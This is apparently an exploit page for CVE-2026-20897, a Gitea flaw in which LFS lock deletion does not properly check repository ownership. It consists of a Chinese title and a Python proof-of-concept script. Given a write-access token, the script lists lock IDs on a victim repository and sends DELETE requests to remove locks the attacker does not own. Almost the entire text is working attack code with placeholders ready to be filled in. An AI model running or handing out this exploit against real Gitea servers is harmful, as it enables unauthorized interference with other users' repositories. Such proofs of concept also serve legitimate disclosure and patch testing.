CVE-2026-20897 Gitea LFS锁删除权限验证不当漏洞

# CVE-2026-20897 PoC - Gitea LFS Lock Deletion via Ownership Bypass # This PoC demonstrates how to delete LFS locks from other repositories import requests import json TARGET_GITEA_URL = "http://target-gitea-server.com" ATTACKER_TOKEN = "your_write_access_token" TARGET_REPO = "victim/repo-name" TARGET_LOCK_ID = 12345 # Lock ID from target repository def delete_lfs_lock(): """ Delete LFS lock from another repository without proper ownership validation """ headers = { "Authorization": f"token {ATTACKER_TOKEN}", "Content-Type": "application/json" } # The vulnerable endpoint doesn't properly validate repo ownership url = f"{TARGET_GITEA_URL}/api/v1/repos/{TARGET_REPO}/lfs/locks/{TARGET_LOCK_ID}" # Request to delete the lock response = requests.delete(url, headers=headers) if response.status_code == 204: print("[+] Successfully deleted LFS lock from another repository!") return True else: print(f"[-] Failed: {response.status_code} - {response.text}") return False def list_locks(repo_path): """List LFS locks to find target lock IDs""" headers = {"Authorization": f"token {ATTACKER_TOKEN}"} url = f"{TARGET_GITEA_URL}/api/v1/repos/{repo_path}/lfs/locks" response = requests.get(url, headers=headers) return response.json() if response.status_code == 200 else [] if __name__ == "__main__": print("CVE-2026-20897 - Gitea LFS Lock Deletion PoC") print("Target:", TARGET_GITEA_URL) print("Target repo:", TARGET_REPO) delete_lfs_lock()